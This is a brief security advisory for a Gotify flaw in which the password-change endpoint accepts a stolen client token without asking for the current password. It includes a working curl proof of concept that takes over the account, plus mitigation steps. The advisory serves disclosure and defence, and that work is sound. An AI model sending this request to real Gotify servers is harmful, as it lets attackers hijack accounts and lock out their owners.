CVE-2026-102603

The password change endpoint (POST /current/user/password) in Gotify versions <= 2.9.1 does not require knowledge of the current password. An attacker in possession of a valid client token can set a new password for the affected user. Recovering the account requires administrator intervention or direct database access.

PoC

# Attacker has obtained a client token
# No prior password knowledge required
STOLEN_TOKEN="Cxxxxxxxxxx"

curl -X POST "http://gotify-host/current/user/password?token=${STOLEN_TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{"pass":"attacker_controls_this"}'
# Expected response:
# HTTP/1.1 200 OK

Mitigation

• Upgrade to Gotify 3.0.0, which introduces step-up authentication: changing the password now requires re-authenticating with the account password, or
• Restrict access to the state-changing endpoints under /user and /current/user to trusted networks.